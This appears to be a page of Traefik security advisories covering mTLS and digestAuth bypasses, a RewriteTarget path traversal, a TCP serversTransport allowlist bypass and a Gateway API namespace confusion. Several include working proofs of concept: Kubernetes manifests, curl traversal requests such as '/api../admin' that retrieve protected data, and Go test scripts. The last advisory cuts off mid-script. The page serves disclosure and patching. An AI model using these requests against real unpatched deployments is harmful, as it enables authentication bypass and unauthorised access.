Where
-Infinity
0
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Traefik versions >= v3.7.0 and <= v3.7.10 contain an authentication bypass in the Kubernetes Ingress NGINX provider. The TLS option generated for an Ingress carrying the nginx.ingress.kubernetes.io/auth-tls-secret annotation was named after the Ingress namespace and name. As a result, two Ingress objects sharing the same host, the same client CA secret, and the same client-authentication mode produced two distinct TLS option names for that host. Traefik treats this as a TLS options conflict and falls back to the entry point's default TLS configuration, which does not request a client certificate, so a route configured with nginx.ingress.kubernetes.io/auth-tls-verify-client: "on" becomes reachable without a client certificate. Only the v3.7 line is affected; the issue is fixed in v3.7.11.

First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Traefik before v2.11.55 and v3.0.0 through v3.7.10 contain a TLS option conflict resolution vulnerability that allows unauthenticated attackers to bypass client-certificate authentication by creating conflicting TLS options on multi-host routers. Attackers can reach protected backends by exploiting shared TLS resolution across multiple hostnames in a single router rule, causing the strict mTLS requirement to fall back to default options for all hosts.

First published (updated )
Severity
9.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Traefik versions before v2.11.55 and versions v3.0.0 through v3.7.10 contain an authentication bypass vulnerability in the digestAuth middleware where unknown usernames receive an empty secret instead of rejection. Attackers can compute a valid digest response using the empty secret and arbitrary credentials to bypass authentication on any digestAuth-protected route without a valid username or password.

First published (updated )
Severity
7.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high severity vulnerability in Traefik's Kubernetes Ingress NGINX provider. When an Ingress uses the nginx.ingress.kubernetes.io/rewrite-target annotation with a regular expression that captures attacker-controlled text without requiring a path separator (for example path /api(.) with rewrite target /$1), the generated RewriteTarget middleware can turn an initially safe request path into a dot-segment traversal path after the router has already been selected.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.7.8

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's Kubernetes Ingress NGINX provider creates an internal RewriteTarget middleware for the nginx.ingress.kubernetes.io/rewrite-target annotation. When an Ingress path captures attacker-controlled text without requiring a path separator, the middleware can turn an initially safe path into a dot-segment traversal path after Traefik has already selected the router.

For example, with Ingress path /api(.) and rewrite target /$1, an unauthenticated request to /api../admin follows this flow:

1. The default entry-point path sanitizer leaves /api../admin unchanged because api.. is one ordinary segment. 2. The public router's PathRegexp("(?i)^/api(.)") rule matches. 3. RewriteTarget captures ../admin and creates /../admin. 4. The middleware forwards /../admin without checking whether path normalization changes it. 5. A backend that normalizes paths resolves /../admin to /admin. 6. The request reaches content intended to be reachable only through a separate /admin router with BasicAuth, DigestAuth, or ForwardAuth.

This is an unpatched sibling of GHSA-cxjq-mrr5-89rv, which added post-replacement normalization validation to ReplacePathRegex. The separate ingress-nginx RewriteTarget implementation did not receive the same validation. The bypass remains exploitable in the patched Traefik v3.7.7 release.

Severity

Proposed severity: Critical

CVSS 3.1: 9.1 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

- Attack vector: Network - Attack complexity: Low once the affected routing pattern exists - Privileges required: None - User interaction: None - Scope: Unchanged - Confidentiality: High - Integrity: High - Availability: None

Primary weakness: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Secondary weakness: CWE-288 — Authentication Bypass Using an Alternate Path or Channel

The practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower.

Exploitation Preconditions

- The Kubernetes Ingress NGINX provider is enabled. - A public Ingress uses rewrite-target with a regex that can capture .. adjacent to the matched prefix, such as /api(.) with /$1. - A protected router exposes another path on the same backend, such as /admin, and relies on a Traefik authentication or authorization middleware. - The backend normalizes dot segments before dispatching the request.

These are deployment prerequisites; the remote attacker needs no credentials or special timing.

Affected Components

Confirmed versions

- Traefik v3.7.0 through v3.7.7 - Current master at commit b93f02cd07b79490fb8c8f02e301a7a1ec553195 - Current v3.7 branch at 69259c3acc9d4bdc065cb2e3b83336f7de3e7038

The vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx RewriteTarget implementation.

Code locations

- pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274 - Converts the Ingress path and rewrite-target annotation directly into dynamic.RewriteTarget configuration. - pkg/middlewares/ingressnginx/rewritetarget/rewritetarget.go:85-157 - Performs capture-based path rewriting and forwards the rewritten path without normalization validation. - pkg/server/middleware/middlewares.go:346-353 - Instantiates the vulnerable middleware in the live HTTP chain.

Root Cause

The provider passes the route regex and annotation replacement into the middleware:

go loc.RewriteTarget = &dynamic.RewriteTarget{ Regex: loc.Path, Replacement: rewrite, }

RewriteTarget.ServeHTTP then derives a path from attacker-controlled capture groups:

go newTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)

req.URL.RawPath = newTarget req.URL.Path, err = url.PathUnescape(req.URL.RawPath) req.RequestURI = req.URL.RequestURI()

rt.next.ServeHTTP(rw, req)

There is no invariant check between PathUnescape and forwarding to ensure that req.URL.Path equals its normalized form. Because routing happens before middlewares execute, any protected router that would match the normalized result is never reconsidered.

The core ReplacePathRegex middleware now enforces this invariant by calling req.URL.JoinPath() and returning HTTP 400 when normalization changes the replacement. RewriteTarget implements equivalent capture-based behavior but lacks that check.

Default entryPoints.<name>.http.sanitizePath=true does not prevent this issue. Sanitization occurs before routing and before RewriteTarget creates the traversal sequence.

Impact

An unauthenticated network attacker can bypass route-level authentication or authorization and access protected paths on the backend. Depending on the protected API, this can allow:

- reading administrative or sensitive data; - invoking privileged state-changing endpoints with GET, POST, PUT, PATCH, or DELETE; - bypassing BasicAuth, DigestAuth, ForwardAuth, IP restrictions, or other controls attached only to the protected router; - crossing intended public/protected path boundaries with one HTTP request.

The middleware is method-agnostic, so the issue is not limited to read-only requests.

Proof of Concept

Validation Environment

- Traefik v3.7.7 official Linux amd64 release - Release archive SHA-256 verified as 5c8ff19144683f862c04e8ac01893e8cd94a3519d3d9ca3e6fbd0a7de73261ba - Default sanitizePath=true - Node.js v24 backend - Kubernetes Ingress NGINX provider fed valid Ingress, Service, EndpointSlice, and Secret objects through a local Kubernetes API fixture

No Traefik source files were modified.

1. Create the normalizing backend

Save as backend.js:

javascript const http = require("http"); const path = require("path");

http.createServer((req, res) => { const rawPath = req.url.split("?", 1)[0]; const normalizedPath = path.posix.normalize(rawPath); const protectedPath = normalizedPath === "/admin" || normalizedPath.startsWith("/admin/");

const body = JSON.stringify({ rawPath, normalizedPath, result: protectedPath ? "ADMINSECRETDATA" : "PUBLIC", });

res.writeHead(200, { "Content-Type": "application/json" }); res.end(body); }).listen(19090, "127.0.0.1");

Run it:

bash node backend.js

2. Apply the Kubernetes objects

The ExternalName service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service.

yaml apiVersion: v1 kind: Secret metadata: name: basic-auth namespace: default type: Opaque stringData: auth: | admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/ --- apiVersion: v1 kind: Service metadata: name: backend namespace: default spec: type: ExternalName externalName: localhost ports: - name: http port: 19090 targetPort: 19090 --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: public-api namespace: default annotations: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/use-regex: "true" nginx.ingress.kubernetes.io/rewrite-target: "/$1" spec: rules: - http: paths: - path: /api(.) pathType: ImplementationSpecific backend: service: name: backend port: number: 19090 --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: protected-admin namespace: default annotations: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/auth-type: basic nginx.ingress.kubernetes.io/auth-secret: basic-auth nginx.ingress.kubernetes.io/auth-realm: Authentication Required spec: rules: - http: paths: - path: /admin pathType: Prefix backend: service: name: backend port: number: 19090

bash kubectl apply -f poc.yaml

3. Run unmodified Traefik v3.7.7

bash KUBECONFIG="$HOME/.kube/config" ./traefik \ --entryPoints.web.address=127.0.0.1:18080 \ --providers.kubernetesIngressNginx.watchNamespace=default \ --providers.kubernetesIngressNginx.httpEntryPoint=web \ --global.checkNewVersion=false \ --log.level=DEBUG

Traefik generates the following relevant dynamic configuration:

json { "rule": "PathRegexp(\"(?i)^/api(.)\")", "middlewares": ["...-rewrite-target"], "rewriteTarget": { "regex": "/api(.)", "replacement": "/$1" } }

The protected router separately contains a BasicAuth middleware and a PathRegexp("(?i)^/admin") rule.

4. Confirm authentication is enforced

bash curl --path-as-is -i http://127.0.0.1:18080/admin

Observed:

text HTTP/1.1 401 Unauthorized

5. Exploit the traversal rewrite

Plain variant:

bash curl --path-as-is -i http://127.0.0.1:18080/api../admin

Observed:

text HTTP/1.1 200 OK {"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMINSECRETDATA"}

Percent-encoded variant:

bash curl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin

Observed:

text HTTP/1.1 200 OK {"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMINSECRETDATA"}

The direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200.

Remediation

Apply the same post-rewrite normalization invariant used by the patched ReplacePathRegex middleware. After decoding RawPath, normalize a copy and reject the request if normalization changes Path:

go path := req.URL.Path if path != "" { req.URL = req.URL.JoinPath() }

if path != req.URL.Path { logger.Debug().Msgf( "Rejecting request, normalized path %q differs from rewritten path %q", req.URL.Path, path, ) http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return }

req.RequestURI = req.URL.RequestURI()

Recommended additional actions:

1. Centralize the post-transformation path validation used by ReplacePathRegex, StripPrefix, StripPrefixRegex, and ingress-nginx RewriteTarget to prevent future drift. 2. Add regression tests for /api../admin and /api%2e%2e/admin, expecting HTTP 400. 3. Test both URL.Path and URL.RawPath cases and preserve legitimate encoded-path behavior. 4. Audit the ingress-nginx snippet rewrite implementation for the same post-rewrite invariant.

Temporary Mitigation

Use a regex that requires a separator or end-of-path before captured user data, for example:

yaml nginx.ingress.kubernetes.io/use-regex: "true" nginx.ingress.kubernetes.io/rewrite-target: "/$2"

Ingress path: path: /api(/|$)(.)

This prevents /api../admin from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point sanitizePath=true alone is not a mitigation because the dangerous dot segment is created after sanitization.

Duplicate Check

As of 2026-07-09:

- Traefik's public security advisories contain no entry mentioning RewriteTarget or ingress-nginx rewrite-target path traversal. - Public issue and pull-request searches found no report for this path-normalization bypass. - GHSA-cxjq-mrr5-89rv is related but not a duplicate: it fixes pkg/middlewares/replacepathregex, while this report affects pkg/middlewares/ingressnginx/rewritetarget and reproduces on the version that contains that fix, v3.7.7.

Disclosure

If confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The crossProviderNamespaces allowlist is enforced for HTTP serversTransport references but was not enforced for IngressRouteTCP service serversTransport references. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces could set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the crossProviderNamespaces allowlist to TCP serversTransport references.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's Kubernetes CRD provider enforces crossProviderNamespaces for several cross-provider references, but IngressRouteTCP service serversTransport references skip that allowlist. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces can still set serversTransport: foo@file on an IngressRouteTCP service. Traefik accepts the forbidden cross-provider reference and later uses the referenced TCPServersTransport, including privileged backend mTLS client certificates, SPIFFE identity, or PROXY protocol settings.

Description

crossProviderNamespaces is documented and implemented as an allowlist for namespaces that may declare cross-provider references from Kubernetes CRD objects. HTTP serversTransport references enforce that allowlist. TCP serversTransport references do not.

An attacker with low Kubernetes privileges in namespace default can create an IngressRouteTCP service with:

yaml serversTransport: foo@file

Even when the provider is configured with:

yaml crossProviderNamespaces: - operator-only

Traefik still emits a TCP dynamic service whose load balancer points to foo@file. At runtime, DialerManager.Build() uses the exact referenced transport name and applies that transport's TLS client certificates and related backend-connection settings.

Impact

The PoC demonstrates two positive facts:

1. A namespace outside crossProviderNamespaces can cause Traefik to accept and store LoadBalancer.ServersTransport = "foo@file" from an IngressRouteTCP service. 2. A qualified foo@file TCPServersTransport with a client certificate is actually consumed by the TCP dialer and presented to an mTLS backend.

This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference.

Proof Of Concept

Files

- run.sh: portable runner. - poccrdtest.go: positive CRD provider proof. - withserverstransportcrossproviderpoc.yml: minimal IngressRouteTCP fixture. - poctcpmtlstest.go: positive runtime mTLS identity-use proof.

<details> <summary>run.sh</summary>

bash #!/usr/bin/env sh set -eu

TARGETREF="${TARGETREF:-v3.7.5}" REPOURL="${REPOURL:-https://github.com/traefik/traefik.git}" SCRIPTDIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)" WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}"

if [ "${KEEPWORKDIR:-0}" != "1" ]; then trap 'rm -rf "$WORKDIR"' EXIT INT TERM fi

echo "[] targetref=$TARGETREF" echo "[] workdir=$WORKDIR"

if [ -n "${TRAEFIKSRC:-}" ]; then echo "[] cloning from local source: $TRAEFIKSRC" git clone -q "$TRAEFIKSRC" "$WORKDIR/traefik" cd "$WORKDIR/traefik" git -c advice.detachedHead=false checkout -q "$TARGETREF" else echo "[] cloning from remote: $REPOURL" git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGETREF" "$REPOURL" "$WORKDIR/traefik" cd "$WORKDIR/traefik" fi

mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp cp "$SCRIPTDIR/poccrdtest.go" \ pkg/provider/kubernetes/crd/tcpserverstransportcrossproviderpoctest.go cp "$SCRIPTDIR/withserverstransportcrossproviderpoc.yml" \ pkg/provider/kubernetes/crd/fixtures/tcp/withserverstransportcrossproviderpoc.yml cp "$SCRIPTDIR/poctcpmtlstest.go" \ pkg/tcp/dialercrossprovideridentitypoctest.go

echo "[] running CRD provider policy-bypass PoC" go test ./pkg/provider/kubernetes/crd \ -run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass$' \ -count=1 -v

echo "[] running TCPServersTransport mTLS identity-use PoC" go test ./pkg/tcp \ -run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$' \ -count=1 -v

echo "POCRESULT=PASS"

</details>

<details> <summary>poccrdtest.go</summary>

go package crd

import ( "testing"

"github.com/stretchr/testify/require" traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake" kubefake "k8s.io/client-go/kubernetes/fake" )

func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t testing.T) { k8sObjects, crdObjects := readResources(t, []string{ "tcp/services.yml", "tcp/withserverstransportcrossproviderpoc.yml", })

kubeClient := kubefake.NewClientset(k8sObjects...) crdClient := traefikcrdfake.NewClientset(crdObjects...) client := newClientImpl(kubeClient, crdClient)

stopCh := make(chan struct{}) defer close(stopCh)

eventCh, err := client.WatchAll(nil, stopCh) require.NoError(t, err) <-eventCh

provider := Provider{ AllowCrossNamespace: true, CrossProviderNamespaces: []string{"operator-only"}, }

conf := provider.loadConfigurationFromCRD(t.Context(), client) service := conf.TCP.Services["default-test.route-fdd3e9338e47a45efefc"] require.NotNil(t, service) require.NotNil(t, service.LoadBalancer) require.Equal(t, "foo@file", service.LoadBalancer.ServersTransport) require.NotEmpty(t, service.LoadBalancer.Servers) require.True(t, service.LoadBalancer.Servers[0].TLS)

t.Logf("POCCRDRESULT=accepted routenamespace=default allowedcrossprovidernamespaces=%v serversTransport=%q backendtls=%v", provider.CrossProviderNamespaces, service.LoadBalancer.ServersTransport, service.LoadBalancer.Servers[0].TLS) }

</details>

<details> <summary>poctcpmtlstest.go</summary>

go package tcp

import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "encoding/pem" "fmt" "io" "math/big" "net" "testing" "time"

"github.com/stretchr/testify/require" "github.com/traefik/traefik/v3/pkg/config/dynamic" traefiktls "github.com/traefik/traefik/v3/pkg/tls" "github.com/traefik/traefik/v3/pkg/types" )

func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t testing.T) { pki := newPoCPKI(t)

dialerManager := NewDialerManager(nil) dialerManager.Update(map[string]dynamic.TCPServersTransport{ "foo@file": { TLS: &dynamic.TLSClientConfig{ ServerName: "example.com", RootCAs: []types.FileOrContent{types.FileOrContent(pki.caCertPEM)}, Certificates: traefiktls.Certificates{ traefiktls.Certificate{ CertFile: types.FileOrContent(pki.clientCertPEM), KeyFile: types.FileOrContent(pki.clientKeyPEM), }, }, }, }, })

backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki) defer closeBackend()

dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true) require.NoError(t, err)

conn, err := dialer.Dial("tcp", backendAddr, nil) require.NoError(t, err) defer conn.Close()

, err = conn.Write([]byte("ping")) require.NoError(t, err)

buf := make([]byte, 4) , err = io.ReadFull(conn, buf) require.NoError(t, err) require.Equal(t, "PONG", string(buf))

var cn string select { case cn = <-peerCN: case <-time.After(time.Second): t.Fatal("timed out waiting for backend peer certificate") }

select { case err := <-done: require.NoError(t, err) case <-time.After(time.Second): t.Fatal("timed out waiting for backend completion") }

t.Logf("POCMTLSRESULT=backendacceptedtransportidentity serversTransport=%q peercn=%q response=%q", "foo@file", cn, string(buf)) }

func newPoCMTLSBackend(t testing.T, pki poCPKI) (string, <-chan string, <-chan error, func()) { t.Helper()

serverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM) require.NoError(t, err)

clientPool := x509.NewCertPool() require.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))

listener, err := net.Listen("tcp", "127.0.0.1:0") require.NoError(t, err)

tlsListener := tls.NewListener(listener, &tls.Config{ Certificates: []tls.Certificate{serverCert}, ClientAuth: tls.RequireAndVerifyClientCert, ClientCAs: clientPool, })

peerCN := make(chan string, 1) done := make(chan error, 1)

go func() { conn, err := tlsListener.Accept() if err != nil { done <- err return } defer conn.Close()

tlsConn, ok := conn.(tls.Conn) if !ok { done <- fmt.Errorf("unexpected connection type %T", conn) return }

if err := tlsConn.Handshake(); err != nil { done <- err return }

state := tlsConn.ConnectionState() if len(state.PeerCertificates) == 0 { done <- fmt.Errorf("missing peer certificate") return } peerCN <- state.PeerCertificates[0].Subject.CommonName

buf := make([]byte, 4) if , err := io.ReadFull(tlsConn, buf); err != nil { done <- err return } if string(buf) != "ping" { done <- fmt.Errorf("unexpected backend payload %q", string(buf)) return }

, err = tlsConn.Write([]byte("PONG")) done <- err }()

return listener.Addr().String(), peerCN, done, func() { = tlsListener.Close() } }

type poCPKI struct { caCertPEM []byte serverCertPEM []byte serverKeyPEM []byte clientCertPEM []byte clientKeyPEM []byte }

func newPoCPKI(t testing.T) poCPKI { t.Helper()

caKey, err := rsa.GenerateKey(rand.Reader, 2048) require.NoError(t, err)

caTemplate := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "poc-ca"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageCRLSign, BasicConstraintsValid: true, IsCA: true, }

caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey) require.NoError(t, err)

serverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "poc-server", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}) clientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "example.com", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})

return poCPKI{ caCertPEM: pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}), serverCertPEM: serverCertPEM, serverKeyPEM: serverKeyPEM, clientCertPEM: clientCertPEM, clientKeyPEM: clientKeyPEM, } }

func newPoCLeafCert(t testing.T, caTemplate x509.Certificate, caKey rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) { t.Helper()

key, err := rsa.GenerateKey(rand.Reader, 2048) require.NoError(t, err)

serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128)) require.NoError(t, err)

template := &x509.Certificate{ SerialNumber: serial, Subject: pkix.Name{CommonName: cn}, DNSNames: []string{"example.com"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment, ExtKeyUsage: eku, }

certDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, &key.PublicKey, caKey) require.NoError(t, err)

keyDER := x509.MarshalPKCS1PrivateKey(key)

return pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}), pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER}) }

</details>

<details> <summary>withserverstransportcrossproviderpoc.yml</summary>

yaml apiVersion: traefik.io/v1alpha1 kind: IngressRouteTCP metadata: name: test.route namespace: default

spec: entryPoints: - foo

routes: - match: HostSNI(foo.com) priority: 12 services: - name: whoamitcp port: 8000 tls: true serversTransport: foo@file

</details>

Requirements

- git - Go toolchain compatible with the target Traefik tag. v3.7.5 uses go 1.25.0. - Network access to clone https://github.com/traefik/traefik.git and download Go modules on first run.

No local Traefik checkout is required by default.

Run

sh ./run.sh

Optional target override:

sh TARGETREF=v3.6.21 ./run.sh

Optional local-source override for faster local validation:

sh TRAEFIKSRC=/path/to/traefik TARGETREF=v3.7.5 ./run.sh

Expected Result

The run should end with:

text POCCRDRESULT=accepted routenamespace=default allowedcrossprovidernamespaces=[operator-only] serversTransport="foo@file" backendtls=true POCMTLSRESULT=backendacceptedtransportidentity serversTransport="foo@file" peercn="example.com" response="PONG" POCRESULT=PASS

Root Cause

Line numbers below are from:

text repository: https://github.com/traefik/traefik tag: v3.7.5 commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0

1. The provider option is meant to cover IngressRouteTCP

pkg/provider/kubernetes/crd/kubernetes.go:60

go CrossProviderNamespaces []string description:"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references." ...

This establishes the security invariant: IngressRouteTCP cross-provider references should be gated by crossProviderNamespaces.

2. TCP service creation forwards the attacker-controlled transport name

pkg/provider/kubernetes/crd/kubernetestcp.go:183-185

go if service.ServersTransport != "" { tcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport) }

The attacker-controlled serversTransport field is passed into the key builder.

3. TCP key builder returns cross-provider names without the allowlist check

pkg/provider/kubernetes/crd/kubernetestcp.go:321-322

go if strings.Contains(serversTransportName, providerNamespaceSeparator) { return serversTransportName, nil }

This accepts foo@file directly. There is no call to isCrossProviderNamespaceAllowed(...) on this TCP path.

4. HTTP sibling contains the missing authorization gate

pkg/provider/kubernetes/crd/kuberneteshttp.go:507-508

go if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) { return "", fmt.Errorf("serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces", ...) }

The HTTP path proves the intended policy: cross-provider serversTransport references should be rejected when the route namespace is not in the allowlist.

5. Runtime TCP dialer consumes the exact referenced transport

pkg/tcp/dialer.go:135-141

go if config.ServersTransport != "" { name = config.ServersTransport } st, ok := d.serversTransports[name]

pkg/tcp/dialer.go:183-188

go tlsConfig = &tls.Config{ ServerName: st.TLS.ServerName, Certificates: st.TLS.Certificates.GetCertificates(), }

The accepted foo@file reference is not a harmless string. It selects the cross-provider transport and applies its client TLS identity during backend connections.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves extensionRef against the HTTPRoute namespace.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's Kubernetes Gateway API provider resolves HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef in the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author with a permitted cross-namespace Service reference can therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications can receive attacker-selected authenticated identity state.

Description

Gateway API ReferenceGrant allows a namespace owner to grant a route in another namespace permission to reference a specific backend object, such as a Service. That grant should not implicitly authorize the route author to bind other policy objects in the backend namespace.

In the affected code path, Traefik copies backendRef.namespace into a local namespace variable. It correctly uses that namespace to validate and load the backend Service, but then reuses the same namespace when resolving backendRef.filters[].extensionRef. For Traefik CRD Middleware extension filters, the CRD provider turns (namespace, name) into a dynamic middleware reference such as:

text platform-privileged-auth-header@kubernetescrd

As a result, a tenant route in tenant-a can bind a middleware named privileged-auth-header from the backend namespace platform, even though the Gateway API ReferenceGrant only granted access to platform/protected-api Service.

Impact

The PoC demonstrates that an attacker-authored HTTPRoute can cause Traefik to attach a backend-namespace Headers middleware to the generated backend service. The middleware injects:

text X-WEBAUTH-USER: admin

That is a realistic downstream primitive because many applications support trusted reverse-proxy authentication headers when deployed behind a gateway. Separate Docker validation showed this header-auth class can map to authenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus Repository when those products are intentionally configured for reverse-proxy authentication.

This is not a bug in those downstream applications and this PoC does not claim direct Traefik host RCE, sandbox escape, private-key exfiltration, or default cluster takeover. The Traefik vulnerability is unauthorized middleware binding across a Gateway API namespace boundary.

Proof Of Concept

Files

<details> <summary>run.sh</summary>

bash #!/usr/bin/env sh set -eu

TARGETREF="${TARGETREF:-v3.7.5}" REPOURL="${REPOURL:-https://github.com/traefik/traefik.git}" SCRIPTDIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)" WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX")}"

if [ "${KEEPWORKDIR:-0}" != "1" ]; then trap 'rm -rf "$WORKDIR"' EXIT INT TERM fi

printf '[] targetref=%s\n' "$TARGETREF" printf '[] workdir=%s\n' "$WORKDIR"

if [ -n "${TRAEFIKSRC:-}" ]; then printf '[] cloning from local source: %s\n' "$TRAEFIKSRC" git clone -q "$TRAEFIKSRC" "$WORKDIR/traefik" cd "$WORKDIR/traefik" git -c advice.detachedHead=false checkout -q "$TARGETREF" else printf '[] cloning from remote: %s\n' "$REPOURL" git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGETREF" "$REPOURL" "$WORKDIR/traefik" cd "$WORKDIR/traefik" fi

